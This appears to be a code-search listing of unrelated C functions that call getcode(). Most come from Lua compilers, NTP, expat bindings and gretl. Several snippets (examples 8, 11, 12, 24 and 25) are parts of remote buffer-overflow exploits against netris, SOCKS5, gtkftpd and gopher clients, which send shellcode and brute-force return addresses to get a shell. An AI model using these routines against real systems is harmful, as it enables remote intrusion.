Exemplo n.º 1
0
static void retstat (LexState *ls) {
  /* stat -> RETURN explist */
  FuncState *fs = ls->fs;
  expdesc e;
  int first, nret;  /* registers with returned values */
  luaX_next(ls);  /* skip RETURN */
  if (block_follow(ls->t.token) || ls->t.token == ';')
    first = nret = 0;  /* return no values */
  else {
    nret = explist1(ls, &e);  /* optional return values */
    if (hasmultret(e.k)) {
      luaK_setmultret(fs, &e);
      if (e.k == VCALL && nret == 1) {  /* tail call? */
        SET_OPCODE(getcode(fs,&e), OP_TAILCALL);
        lua_assert(GETARG_A(getcode(fs,&e)) == fs->nactvar);
      }
      first = fs->nactvar;
      nret = LUA_MULTRET;  /* return all values */
    }
    else {
      if (nret == 1)  /* only one single value? */
        first = luaK_exp2anyreg(fs, &e);
      else {
        luaK_exp2nextreg(fs, &e);  /* values must go to the `stack' */
        first = fs->nactvar;  /* return all `active' values */
        lua_assert(nret == fs->freereg - first);
      }
    }
  }
  luaK_ret(fs, first, nret);
}
Exemplo n.º 2
0
void luaK_setreturns (FuncState *fs, expdesc *e, int nresults) {
    if (e->k == VCALL) {  /* expression is an open function call? */
        SETARG_C(getcode(fs, e), nresults + 1);
    } else if (e->k == VVARARG) {
        SETARG_B(getcode(fs, e), nresults + 1);
        SETARG_A(getcode(fs, e), fs->freereg);
        luaK_reserveregs(fs, 1);
    }
}
Exemplo n.º 3
0
void luaK_setoneret (FuncState *fs, expdesc *e) {
    if (e->k == VCALL) {  /* expression is an open function call? */
        e->k = VNONRELOC;
        e->u.s.info = GETARG_A(getcode(fs, e));
    } else if (e->k == VVARARG) {
        SETARG_B(getcode(fs, e), 2);
        e->k = VRELOCABLE;  /* can relocate its simple result */
    }
}
Exemplo n.º 4
0
Arquivo: lcode.c Projeto: galek/ravi
void luaK_setoneret (FuncState *fs, expdesc *e) {
  if (e->k == VCALL) {  /* expression is an open function call? */
    e->k = VNONRELOC;
    e->u.info = GETARG_A(getcode(fs, e));
    DEBUG_EXPR(raviY_printf(fs, "luaK_setoneret (VCALL->VNONRELOC) %e\n", e));
  }
  else if (e->k == VVARARG) {
    SETARG_B(getcode(fs, e), 2);
    DEBUG_CODEGEN(raviY_printf(fs, "[%d]* %o ; set B to 2\n", e->u.info, getcode(fs,e)));
    e->k = VRELOCABLE;  /* can relocate its simple result */
    DEBUG_EXPR(raviY_printf(fs, "luaK_setoneret (VVARARG->VNONRELOC) %e\n", e));
  }
}
Exemplo n.º 5
0
const char *
eventstr(
	int num
	)
{
	if (num & PEER_EVENT)
		return (getcode(num & ~PEER_EVENT, peer_codes));
#ifdef OPENSSL
	else if (num & CRPT_EVENT)
		return (getcode(num & ~CRPT_EVENT, crypto_codes));
#endif /* OPENSSL */
	else
		return (getcode(num, sys_codes));
}
Exemplo n.º 6
0
void luaK_posfix (FuncState *fs, BinOpr op,
                  expdesc *e1, expdesc *e2, int line) {
  switch (op) {
    case OPR_AND: {
      lua_assert(e1->t == NO_JUMP);  /* list must be closed */
      luaK_dischargevars(fs, e2);
      luaK_concat(fs, &e2->f, e1->f);
      *e1 = *e2;
      break;
    }
    case OPR_OR: {
      lua_assert(e1->f == NO_JUMP);  /* list must be closed */
      luaK_dischargevars(fs, e2);
      luaK_concat(fs, &e2->t, e1->t);
      *e1 = *e2;
      break;
    }
    case OPR_CONCAT: {
      luaK_exp2val(fs, e2);
      if (e2->k == VRELOCABLE && GET_OPCODE(getcode(fs, e2)) == OP_CONCAT) {
        lua_assert(e1->u.info == GETARG_B(getcode(fs, e2))-1);
        freeexp(fs, e1);
        SETARG_B(getcode(fs, e2), e1->u.info);
        e1->k = VRELOCABLE; e1->u.info = e2->u.info;
      }
      else {
        luaK_exp2nextreg(fs, e2);  /* operand must be on the 'stack' */
        codearith(fs, OP_CONCAT, e1, e2, line);
      }
      break;
    }
    case OPR_ADD: case OPR_SUB: case OPR_MUL: case OPR_DIV:
    case OPR_IDIV: case OPR_MOD: case OPR_POW:
    case OPR_BAND: case OPR_BOR: case OPR_BXOR:
    case OPR_SHL: case OPR_SHR: {
      codearith(fs, cast(OpCode, (op - OPR_ADD) + OP_ADD), e1, e2, line);
      break;
    }
    case OPR_EQ: case OPR_LT: case OPR_LE: {
      codecomp(fs, cast(OpCode, op - OPR_EQ + OP_EQ), 1, e1, e2);
      break;
    }
    case OPR_NE: case OPR_GT: case OPR_GE: {
      codecomp(fs, cast(OpCode, op - OPR_NE + OP_EQ), 0, e1, e2);
      break;
    }
    default: lua_assert(0);
  }
}
Exemplo n.º 7
0
static void retstat (LexState *ls) {
  /* stat -> RETURN explist */
  FuncState *fs = ls->fs;
  BlockCnt *bl = fs->bl;
  expdesc e;
  int first, nret;  /* registers with returned values */
  int ret_in_try = 0;
  luaX_next(ls);  /* skip RETURN */
  if (block_follow(ls->t.token) || ls->t.token == ';')
    first = nret = 0;  /* return no values */
  else {
    nret = explist1(ls, &e);  /* optional return values */
    if (hasmultret(e.k)) {
      luaK_setmultret(fs, &e);
      if (e.k == VCALL && nret == 1) {  /* tail call? */
        SET_OPCODE(getcode(fs,&e), OP_TAILCALL);
        lua_assert(GETARG_A(getcode(fs,&e)) == fs->nactvar);
      }
      first = fs->nactvar;
      nret = LUA_MULTRET;  /* return all values */
    }
    else {
      if (nret == 1)  /* only one single value? */
        first = luaK_exp2anyreg(fs, &e);
      else {
        luaK_exp2nextreg(fs, &e);  /* values must go to the `stack' */
        first = fs->nactvar;  /* return all `active' values */
        lua_assert(nret == fs->freereg - first);
      }
    }
  }

  /* before return, we should exit all try-catch blocks */
  while (bl) {
    if (bl->isbreakable == 2) {
      if (ret_in_try)
        luaK_codeABC(fs, OP_EXITTRY, 0, 0, 0);
      else {
        ret_in_try = 1;
        luaK_codeABC(fs, OP_EXITTRY, first, nret+1, 1); /* here we will save all return values */
      }
    } else if (bl->isbreakable == 3)
      luaX_syntaxerror(ls, "can't return in _finally_ clause");
    bl = bl->previous;
  }

  luaK_codeABC(fs, OP_RETURN, first, nret+1, ret_in_try);
}
Exemplo n.º 8
0
unsigned short netris_connect(char *hostname,
unsigned short port){
 int sock;
 struct hostent *t;
 struct sockaddr_in s;
 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 s.sin_family=AF_INET;
 s.sin_port=htons(port);
 printf("[*] attempting to connect: %s:%d.\n",hostname,port);
 if((s.sin_addr.s_addr=inet_addr(hostname))){
  if(!(t=gethostbyname(hostname)))
   printe("couldn't resolve hostname.",1);
  memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  sizeof(s.sin_addr));
 }
 signal(SIGALRM,sig_alarm);
 alarm(TIMEOUT);
 if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  printe("netris connection failed.",1);
 alarm(0);
 printf("[*] successfully connected: %s:%d.\n",hostname,port);
 write(sock,getcode(),BUFSIZE);
 sleep(1);
 close(sock);
 return(0);
}
Exemplo n.º 9
0
static ExpatStatus
handler_StartDocument(void *arg)
{
  PyObject *self = (PyObject *)arg;
  PyObject *handler, *args, *result;

  PyObject_Print(self, stdout, 0);
  fflush(stdout);

  handler = PyObject_GetAttrString(self, "start_document");
  if (handler == NULL)
    return EXPAT_STATUS_ERROR;

  /* if the method was not overriden, save some cycles and just return */
  if (PyCFunction_Check(handler) &&
      PyCFunction_GET_FUNCTION(handler) == handler_noop) {
    Py_DECREF(handler);
    return EXPAT_STATUS_OK;
  }

  args = PyTuple_New(0);
  if (args == NULL) {
    Py_DECREF(handler);
    return EXPAT_STATUS_ERROR;
  }
  result = PyTrace_CallObject(getcode(StartDocument), handler, args);
  Py_DECREF(args);
  if (result == NULL) {
    Py_DECREF(handler);
    return EXPAT_STATUS_ERROR;
  }
  Py_DECREF(result);
  Py_DECREF(handler);
  return EXPAT_STATUS_OK;
}
Exemplo n.º 10
0
static ExpatStatus
handler_Whitespace(void *arg, PyObject *data)
{
  PyObject *self = (PyObject *)arg;
  PyObject *handler, *args, *result;

  handler = PyObject_GetAttrString(self, "whitespace");
  if (handler == NULL)
    return EXPAT_STATUS_ERROR;

  /* if the method was not overriden, save some cycles and just return */
  if (PyCFunction_Check(handler) &&
      PyCFunction_GET_FUNCTION(handler) == handler_noop) {
    Py_DECREF(handler);
    return EXPAT_STATUS_OK;
  }

  args = PyTuple_Pack(1, data);
  if (args == NULL) {
    Py_DECREF(handler);
    return EXPAT_STATUS_ERROR;
  }
  result = PyTrace_CallObject(getcode(Whitespace), handler, args);
  Py_DECREF(args);
  if (result == NULL) {
    Py_DECREF(handler);
    return EXPAT_STATUS_ERROR;
  }
  Py_DECREF(result);
  Py_DECREF(handler);
  return EXPAT_STATUS_OK;
}
Exemplo n.º 11
0
char *socks5_bind(unsigned short port,unsigned int retaddr){
 int ssock=0,sock=0,so=1;
 socklen_t salen=0;
 unsigned char *buf;
 struct sockaddr_in ssa,sa;
 ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
 setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
 ssa.sin_family=AF_INET;
 ssa.sin_port=htons(port);
 ssa.sin_addr.s_addr=INADDR_ANY;
 printf("[*] awaiting connection from: *:%d.\n",port);
 if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
  printe("could not bind socket.",1);
 listen(ssock,2);
 bzero((char*)&sa,sizeof(struct sockaddr_in));
 salen=sizeof(sa);
 sock=accept(ssock,(struct sockaddr *)&sa,&salen);
 close(ssock);
 printf("[*] socks-5 server connection established.\n");
 if(!(buf=(unsigned char *)malloc(BUFSIZE+7+1)))
  printe("socks5_bind(): allocating memory failed.",1);
 memcpy(buf,"\x05\x00\x05\x00\x00\x03",6);
 buf[6]=BUFSIZE;
 memcpy(buf+7,getcode(retaddr),BUFSIZE);
 printf("[*] sending specially crafted string. (exploit)\n");
 write(sock,buf,BUFSIZE+7);
 free(buf);
 sleep(1);
 close(sock);
 printf("[*] socks-5 server connection closed.\n");
 return(inet_ntoa(sa.sin_addr));
}
Exemplo n.º 12
0
char *netris_bind(unsigned short port){
 int ssock=0,sock=0,so=1;
 unsigned int salen=0;
 struct sockaddr_in ssa,sa;
 ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
 setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
 ssa.sin_family=AF_INET;
 ssa.sin_port=htons(port);
 ssa.sin_addr.s_addr=INADDR_ANY;
 printf("[*] awaiting connection from: *:%d.\n",port);
 if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
  printe("could not bind socket.",1);
 listen(ssock,1);
 bzero((char*)&sa,sizeof(struct sockaddr_in));
 salen=sizeof(sa);
 sock=accept(ssock,(struct sockaddr *)&sa,&salen);
 close(ssock);
 printf("[*] netris server connection established.\n");
 write(sock,getcode(),BUFSIZE);
 sleep(1);
 close(sock);
 printf("[*] netris server connection closed.\n");
 return(inet_ntoa(sa.sin_addr));
}
Exemplo n.º 13
0
static ExpatStatus
handler_EndElement(void *arg, ExpatName *name)
{
  PyObject *self = (PyObject *)arg;
  PyObject *handler, *args, *result;

  handler = PyObject_GetAttrString(self, "end_element");
  if (handler == NULL)
    return EXPAT_STATUS_ERROR;

  /* if the method was not overriden, save some cycles and just return */
  if (PyCFunction_Check(handler) &&
      PyCFunction_GET_FUNCTION(handler) == handler_noop) {
    Py_DECREF(handler);
    return EXPAT_STATUS_OK;
  }

  args = Py_BuildValue("(OO)O", name->namespaceURI, name->localName,
                       name->qualifiedName);
  if (args == NULL) {
    Py_DECREF(handler);
    return EXPAT_STATUS_ERROR;
  }
  result = PyTrace_CallObject(getcode(EndElement), handler, args);
  Py_DECREF(args);
  if (result == NULL) {
    Py_DECREF(handler);
    return EXPAT_STATUS_ERROR;
  }
  Py_DECREF(result);
  Py_DECREF(handler);
  return EXPAT_STATUS_OK;
}
Exemplo n.º 14
0
static ExpatStatus
handler_StartElement(void *arg, ExpatName *name, ExpatAttribute atts[],
                    size_t natts)
{
  HandlerObject *self = (HandlerObject *)arg;
  PyObject *handler, *args, *result;

  handler = PyObject_GetAttrString((PyObject *)self, "start_element");
  if (handler == NULL)
    return EXPAT_STATUS_ERROR;

  /* if the method was not overriden, save some cycles and just return */
  if (PyCFunction_Check(handler) &&
      PyCFunction_GET_FUNCTION(handler) == handler_noop) {
    Py_DECREF(handler);
    return EXPAT_STATUS_OK;
  }

  args = Py_BuildValue("(OO)OON", name->namespaceURI, name->localName,
                       name->qualifiedName, self->new_namespaces,
                       Attributes_New(atts, natts));
  if (args == NULL) {
    PyDict_CLEAR(self->new_namespaces);
    Py_DECREF(handler);
    return EXPAT_STATUS_ERROR;
  }
  result = PyTrace_CallObject(getcode(StartElement), handler, args);
  PyDict_CLEAR(self->new_namespaces);
  Py_DECREF(args);
  Py_DECREF(handler);
  if (result == NULL)
    return EXPAT_STATUS_ERROR;
  Py_DECREF(result);
  return EXPAT_STATUS_OK;
}
Exemplo n.º 15
0
const char *
ceventstr(
	int num
	)
{
	return getcode(num, clock_codes);
}
Exemplo n.º 16
0
int CodesObject::qt_metacall(QMetaObject::Call _c, int _id, void **_a)
{
    _id = TSqlObject::qt_metacall(_c, _id, _a);
    if (_id < 0)
        return _id;
    
#ifndef QT_NO_PROPERTIES
     if (_c == QMetaObject::ReadProperty) {
        void *_v = _a[0];
        switch (_id) {
        case 0: *reinterpret_cast< int*>(_v) = getid(); break;
        case 1: *reinterpret_cast< QString*>(_v) = gettitle(); break;
        case 2: *reinterpret_cast< QString*>(_v) = getcode(); break;
        case 3: *reinterpret_cast< QString*>(_v) = getcode_url(); break;
        case 4: *reinterpret_cast< int*>(_v) = getstatus(); break;
        case 5: *reinterpret_cast< QDateTime*>(_v) = getcreated_at(); break;
        case 6: *reinterpret_cast< QDateTime*>(_v) = getupdated_at(); break;
        case 7: *reinterpret_cast< int*>(_v) = geteditable(); break;
        case 8: *reinterpret_cast< int*>(_v) = getuser_id(); break;
        case 9: *reinterpret_cast< QString*>(_v) = getshow_from(); break;
        }
        _id -= 10;
    } else if (_c == QMetaObject::WriteProperty) {
        void *_v = _a[0];
        switch (_id) {
        case 0: setid(*reinterpret_cast< int*>(_v)); break;
        case 1: settitle(*reinterpret_cast< QString*>(_v)); break;
        case 2: setcode(*reinterpret_cast< QString*>(_v)); break;
        case 3: setcode_url(*reinterpret_cast< QString*>(_v)); break;
        case 4: setstatus(*reinterpret_cast< int*>(_v)); break;
        case 5: setcreated_at(*reinterpret_cast< QDateTime*>(_v)); break;
        case 6: setupdated_at(*reinterpret_cast< QDateTime*>(_v)); break;
        case 7: seteditable(*reinterpret_cast< int*>(_v)); break;
        case 8: setuser_id(*reinterpret_cast< int*>(_v)); break;
        case 9: setshow_from(*reinterpret_cast< QString*>(_v)); break;
        }
        _id -= 10;
    } else if (_c == QMetaObject::ResetProperty) {
        _id -= 10;
    } else if (_c == QMetaObject::QueryPropertyDesignable) {
        _id -= 10;
    } else if (_c == QMetaObject::QueryPropertyScriptable) {
        _id -= 10;
    } else if (_c == QMetaObject::QueryPropertyStored) {
        _id -= 10;
    } else if (_c == QMetaObject::QueryPropertyEditable) {
        _id -= 10;
    } else if (_c == QMetaObject::QueryPropertyUser) {
        _id -= 10;
    } else if (_c == QMetaObject::RegisterPropertyMetaType) {
        if (_id < 10)
            *reinterpret_cast<int*>(_a[0]) = -1;
        _id -= 10;
    }
#endif // QT_NO_PROPERTIES
    return _id;
}
Exemplo n.º 17
0
static void exprstat (LexState *ls) {
  /* stat -> func | assignment */
  FuncState *fs = ls->fs;
  struct LHS_assign v;
  primaryexp(ls, &v.v);
  if (v.v.k == VCALL)  /* stat -> func */
    SETARG_C(getcode(fs, &v.v), 1);  /* call statement uses no results */
  else {  /* stat -> assignment */
    v.prev = NULL;
    assignment(ls, &v, 1);
  }
}
Exemplo n.º 18
0
static int jumponcond (FuncState *fs, expdesc *e, int cond) {
  if (e->k == VRELOCABLE) {
    Instruction ie = getcode(fs, e);
    if (GET_OPCODE(ie) == OP_NOT) {
      fs->pc--;  /* remove previous OP_NOT */
      return condjump(fs, OP_TEST, GETARG_A(ie), 0, !cond);
    }
    /* else go through */
  }
  discharge2anyreg(fs, e);
  freeexp(fs, e);
  return condjump(fs, OP_TEST, e->u.info, 0, cond);
}
Exemplo n.º 19
0
int encode(int n, int width, int total)
{
    int i, j, t, code, result, row, col;

    code = getcode(n);

    row = (n - 1) / width;
    col = (n - 1) % width;

    result = 0;
    for (i = row - 1; i <= row + 1; i++) {
        for (j = col - 1; j <= col + 1; j++) {
            t = i * width + j;
            if (i<0 || j<0 || j > width - 1 || t == n - 1 || t > total - 1)
                continue;

            if (abs(getcode(t + 1) - code) > result)
                result = abs(getcode(t+1) - code);
        }
    }

    return result;
}
Exemplo n.º 20
0
int main(int argc, char* argv[])
{

    if(!(argc == 5))
    {
        printf("usage:");
        printf("getwcode [input filename] [output filename] [output filename (c style)] [var name]\r\n");
        return 0;
    }

    getcode(argv[1],argv[2],argv[3],argv[4]);

    return 0;
}
Exemplo n.º 21
0
static void discharge2reg(FuncState *fs, expdesc *e, int reg)
{
    luaK_dischargevars(fs, e);

    switch (e->k)
    {
    case VNIL: {
        luaK_nil(fs, reg, 1);
        break;
    }

    case VFALSE:
    case VTRUE: {
        luaK_codeABC(fs, OP_LOADBOOL, reg, e->k == VTRUE, 0);
        break;
    }

    case VK: {
        luaK_codek(fs, reg, e->u.info);
        break;
    }

    case VKNUM: {
        luaK_codek(fs, reg, luaK_numberK(fs, e->u.nval));
        break;
    }

    case VRELOCABLE: {
        Instruction *pc = &getcode(fs, e);
        SETARG_A(*pc, reg);
        break;
    }

    case VNONRELOC: {
        if (reg != e->u.info)
            luaK_codeABC(fs, OP_MOVE, reg, e->u.info, 0);

        break;
    }

    default: {
        lua_assert(e->k == VVOID || e->k == VJMP);
        return; /* nothing to do... */
    }
    }

    e->u.info = reg;
    e->k      = VNONRELOC;
}
Exemplo n.º 22
0
static void discharge2reg(ktap_funcstate *fs, ktap_expdesc *e, int reg)
{
	codegen_dischargevars(fs, e);
	switch (e->k) {
	case VNIL: {
		codegen_nil(fs, reg, 1);
		break;
	}
	case VFALSE:  case VTRUE: {
		codegen_codeABC(fs, OP_LOADBOOL, reg, e->k == VTRUE, 0);
 		break;
	}
	case VEVENT:
		codegen_codeABC(fs, OP_EVENT, reg, 0, 0);
		break;
	case VEVENTNAME:
		codegen_codeABC(fs, OP_EVENTNAME, reg, 0, 0);
		break;
	case VEVENTARG:
		codegen_codeABC(fs, OP_EVENTARG, reg, e->u.info, 0);
		break;
	case VK: {
		codegen_codek(fs, reg, e->u.info);
		break;
	}
	case VKNUM: {
		codegen_codek(fs, reg, codegen_numberK(fs, e->u.nval));
		break;
	}
	case VRELOCABLE: {
		ktap_instruction *pc = &getcode(fs, e);
		SETARG_A(*pc, reg);
		break;
	}
	case VNONRELOC: {
		if (reg != e->u.info)
			codegen_codeABC(fs, OP_MOVE, reg, e->u.info, 0);
		break;
	}
	default:
		ktap_assert(e->k == VVOID || e->k == VJMP);
		return;  /* nothing to do... */
	}

	e->u.info = reg;
	e->k = VNONRELOC;
}
Exemplo n.º 23
0
Arquivo: lcode.c Projeto: galek/ravi
void luaK_setreturns (FuncState *fs, expdesc *e, int nresults) {
  if (e->k == VCALL) {  /* expression is an open function call? */
    SETARG_C(getcode(fs, e), nresults+1);
    DEBUG_CODEGEN(raviY_printf(fs, "[%d]* %o ; set C to %d\n", e->u.info, getcode(fs,e), nresults+1));
  }
  else if (e->k == VVARARG) {
    SETARG_B(getcode(fs, e), nresults+1);
    DEBUG_CODEGEN(raviY_printf(fs, "[%d]* %o ; set B to %d\n", e->u.info, getcode(fs,e), nresults + 1));
    SETARG_A(getcode(fs, e), fs->freereg);
    DEBUG_CODEGEN(raviY_printf(fs, "[%d]* %o ; set A to %d\n", e->u.info, getcode(fs,e), fs->freereg));
    luaK_reserveregs(fs, 1);
  }
}
Exemplo n.º 24
0
void ftp_parse(int sock){
 unsigned int offset=0;
 ftp_read(sock); /* get the banner. */
 ftp_printf(sock,"USER %s\r\n",user);
 ftp_read(sock);
 ftp_printf(sock,"PASS %s\r\n",pass);
 ftp_read(sock);
 ftp_printf(sock,"CWD %s\r\n",writedir);
 ftp_read(sock);
 basedir=getbdir(); /* tmp dir of our own to use. */
 ftp_printf(sock,"MKD %s\r\n",basedir);
 ftp_read(sock);
 ftp_printf(sock,"CWD %s\r\n",basedir);
 ftp_read(sock);
 while(offset<(attempts*400)){ /* if it hasn't yet, it's not going to. */
  /* slight null-byte/CR check, only needs to check the last byte. */
  if((!reverse&&!((baseaddr-offset)&0xff))||(reverse&&!((baseaddr+offset)
  &0xff))||(!reverse&&((baseaddr-offset)&0xff)=='\n')||(reverse&&
  ((baseaddr+offset)&0xff)=='\n')){
   printf("[!] brute address contains null-byte/CR, increasing offset "
   "by one byte.\n");
   offset++; /* one byte off if reversed won't hurt here. (401) */
  }
  /* make the evil oversized directory. (255 or less bytes) */
  ftp_printf(sock,"MKD %s\r\n",getdir(offset));
  ftp_read(sock);
  /* date+directory exceeds 256 byte buffer, the exploit. */
  sleep(1); /* delay insurance. */
  ftp_printf(sock,"LIST -%s\r\n",getcode());
  /* nothing to read here, and gtkftpd processes (the exploit) */
  /* before the ftp list connection is made, making it */
  /* pointless to view the list. */
  sleep(1); /* delay insurance, again, just to be sure. */
  /* delete directory, multiples will cause failure(s). */
  ftp_printf(sock,"RMD %s\r\n",getdir(offset));
  ftp_read(sock);
  getshell(sock,offset);
  offset+=400; /* always at least 400 nops in a row, in shellcode. */
 }
 ftp_clean(sock);
 close(sock);
 return;
}
Exemplo n.º 25
0
char *gopherd_bind(unsigned short port){
int ssock=0,sock=0,so=1;
unsigned int salen=0;
char pseudobuf[2];
struct sockaddr_in ssa,sa;
ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
ssa.sin_port=htons(port);
ssa.sin_addr.s_addr=INADDR_ANY;
printf("[*] awaiting connection from: *:%d.\n",port);
if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
printe("could not bind socket.",1);
listen(ssock,1); 
bzero((char*)&sa,sizeof(struct sockaddr_in));
salen=sizeof(sa);
sock=accept(ssock,(struct sockaddr *)&sa,&salen);
close(ssock);
printf("[*] gopher server connection established.\n");

/* not really needed, but i feel better with it waiting for it. */
printf("[*] waiting for <any> request/data...\n");
read(sock,pseudobuf,1);
printf("[*] received request/data, sending overflow.\n");

/* setup the precursor to cause the overflow. */
write(sock,"+-1\n",4);
write(sock,"+INFO:\t0filler\tfiller\tfiller\tfiller\n",36);
write(sock,"+VIEWS:\t\n ",10);

/* the overflow. */
write(sock,getcode(),BUFSIZE);
write(sock,"\n",1);

sleep(1);
close(sock);
printf("[*] gopher server connection closed.\n");
return(inet_ntoa(sa.sin_addr));
}
Exemplo n.º 26
0
static double
record_or_get_test_result (double teststat, double pval, double lnl,
			   char *instr, int code)
{
    static char savestr[MAXLABEL] = {0};
    static double val = NADBL;
    static double pv = NADBL;
    static double ll = NADBL;
    double ret = NADBL;

    if (code == SET_TEST_STAT) {
	last_test_type = GRETL_TYPE_DOUBLE;
	val = teststat;
	pv = pval;
	ll = lnl;
	*savestr = '\0';
	if (instr != NULL) {
	    strncat(savestr, instr, MAXLABEL - 1);
	} 
    } else if (getcode(code) && last_test_type == GRETL_TYPE_DOUBLE) {
	if (instr != NULL) {
	    if (code == GET_TEST_STAT) {
		sprintf(instr, _("%s test"), savestr);
	    } else if (code == GET_TEST_PVAL) {
		sprintf(instr, _("p-value for %s test"), savestr);
	    } else if (code == GET_TEST_LNL) {
		sprintf(instr, _("log-likelihood for %s test"), savestr);
	    }
	}
	if (code == GET_TEST_STAT) {
	    ret = val;
	} else if (code == GET_TEST_PVAL) {
	    ret = pv;
	} else if (code == GET_TEST_LNL) {
	    ret = ll;
	}
    } 
	
    return ret;
}
Exemplo n.º 27
0
static void exprstat (LexState *ls) {
#if LUA_MUTATION_OPERATORS
  /* stat -> func | compound | assignment */
#else
  /* stat -> func | assignment */
#endif /* LUA_MUTATION_OPERATORS */
  FuncState *fs = ls->fs;
  struct LHS_assign v;
  primaryexp(ls, &v.v);
  if (v.v.k == VCALL)  /* stat -> func */
    SETARG_C(getcode(fs, &v.v), 1);  /* call statement uses no results */
#if LUA_MUTATION_OPERATORS
  else {  /* stat -> compound | assignment */
    v.prev = NULL;
    switch(ls->t.token) {
      case TK_ADD_EQ:
      case TK_SUB_EQ:
      case TK_MUL_EQ:
      case TK_DIV_EQ:
      case TK_MOD_EQ:
      case TK_POW_EQ:
        compound(ls, &v);
        break;
      case ',':
      case '=':
        assignment(ls, &v, 1);
        break;
      default:
        luaX_syntaxerror(ls,
          luaO_pushfstring(ls->L,
                           "'+=','-=','*=', '/=', '%=', '^=', '=' expected"));
        break;
    }
#else
  else {  /* stat -> assignment */
    v.prev = NULL;
    assignment(ls, &v, 1);
#endif /* LUA_MUTATION_OPERATORS */
  }
}
Exemplo n.º 28
0
static gretl_matrix *
record_or_get_test_matrix (gretl_matrix *tests, 
			   gretl_matrix *pvals, 
			   int code, int *err)
{
    static gretl_matrix *vals = NULL;
    static gretl_matrix *pvs = NULL;
    gretl_matrix *ret = NULL;

    if (code == TESTS_CLEANUP) {
	gretl_matrix_free(vals);
	gretl_matrix_free(pvs);
	vals = pvs = NULL;
	last_test_type = GRETL_TYPE_NONE;
	return NULL;
    }

    if (code == SET_TEST_STAT) {
	last_test_type = GRETL_TYPE_MATRIX;
	gretl_matrix_free(vals);
	vals = tests;
	gretl_matrix_free(pvs);
	pvs = pvals;
    } else if (getcode(code)) {
	gretl_matrix *src = (code == GET_TEST_STAT)? vals : pvs;

	if (src != NULL) {
	    ret = gretl_matrix_copy(src);
	    if (ret == NULL) {
		*err = E_ALLOC;
	    }
	} else {
	    *err = E_BADSTAT;
	}
    } 
	
    return ret;
}
Exemplo n.º 29
0
/*
 * statustoa - return a descriptive string for a peer status
 */
char *
statustoa(
	int type,
	int st
	)
{
	char *	cb;
	char *	cc;
	u_char	pst;

	LIB_GETBUF(cb);

	switch (type) {

	case TYPE_SYS:
		snprintf(cb, LIB_BUFLENGTH, "%s, %s, %s, %s",
			 getcode(CTL_SYS_LI(st), leap_codes),
			 getcode(CTL_SYS_SOURCE(st), sync_codes),
			 getevents(CTL_SYS_NEVNT(st)),
			 getcode(CTL_SYS_EVENT(st), sys_codes));
		break;
	
	case TYPE_PEER:
		pst = (u_char)CTL_PEER_STATVAL(st);
		snprintf(cb, LIB_BUFLENGTH, "%s, %s, %s",
			 peer_st_flags(pst),
			 getcode(pst & 0x7, select_codes),
			 getevents(CTL_PEER_NEVNT(st)));
		if (CTL_PEER_EVENT(st) != EVNT_UNSPEC) {
			cc = cb + strlen(cb);
			snprintf(cc, LIB_BUFLENGTH - (cc - cb), ", %s",
				 getcode(CTL_PEER_EVENT(st),
					 peer_codes));
		}
		break;
	
	case TYPE_CLOCK:
		snprintf(cb, LIB_BUFLENGTH, "%s, %s",
			 getevents(CTL_SYS_NEVNT(st)),
			 getcode((st) & 0xf, clock_codes));
		break;
	}

	return cb;
}
Exemplo n.º 30
0
/************* MAIN START ******************************************/
main()
{
	int     i;
	GsDOBJ2 *op;
	int     outbuf_idx;
	MATRIX  tmpls, tmplw;
	u_long	vcount;
	u_long *p;
	long	psize, tsize, amount, reduct;
	long	sxy0,sxy1,sxy2,sxy3;
	POLY_FT4	*pft;

	ResetCallback();
	init_all();

	while (1) {
		if (obj_interactive() == 0) return 0;	

		GsSetRefView2(&view);	
		outbuf_idx = GsGetActiveBuff();	
		GsSetWorkBase((PACKET *) out_packet[outbuf_idx]);
		GsClearOt(0, 0, &Wot[outbuf_idx]);

		for (i = 0, op = object; i < Objnum; i++) {
			GsGetLws(op->coord2, &tmplw, &tmpls);

			GsSetLightMatrix(&tmplw);
			GsSetLsMatrix(&tmpls);

			SortTMDobject(op, &Wot[outbuf_idx], 14 - OT_LENGTH);
			op++;
		}

		VSync(0);	
		padd = PadRead(1);	
		GsSwapDispBuff();

		GsSortClear(0x0, 0x0, 0x0, &Wot[outbuf_idx]);

		amount = 0;
		reduct = 0;
		for(p = (u_long *)Wot[outbuf_idx].tag;
			!isendprim(p); p = nextPrim(p)){
			if((getlen(p) != 0) && (getcode(p) == 0x2c)){
				amount++;
				psize = abs(NormalClip(
					*(u_long *)&(((POLY_FT4 *)p)->x0),
					*(u_long *)&(((POLY_FT4 *)p)->x1),
					*(u_long *)&(((POLY_FT4 *)p)->x2)))/2;
				psize += abs(NormalClip(
					*(u_long *)&(((POLY_FT4 *)p)->x1),
					*(u_long *)&(((POLY_FT4 *)p)->x2),
					*(u_long *)&(((POLY_FT4 *)p)->x3)))/2;

				pft = (POLY_FT4 *)p;
				sxy0 = (pft->v0)<<16 | pft->u0;
				sxy1 = (pft->v1)<<16 | pft->u1;
				sxy2 = (pft->v2)<<16 | pft->u2;
				sxy3 = (pft->v3)<<16 | pft->u3;
				tsize = abs(NormalClip(sxy0,sxy1,sxy2))/2;
				tsize += abs(NormalClip(sxy1,sxy2,sxy3))/2;
				if(psize < tsize) reduct++;
			}
		}

		GsClearVcount();
		GsDrawOt(&Wot[outbuf_idx]);
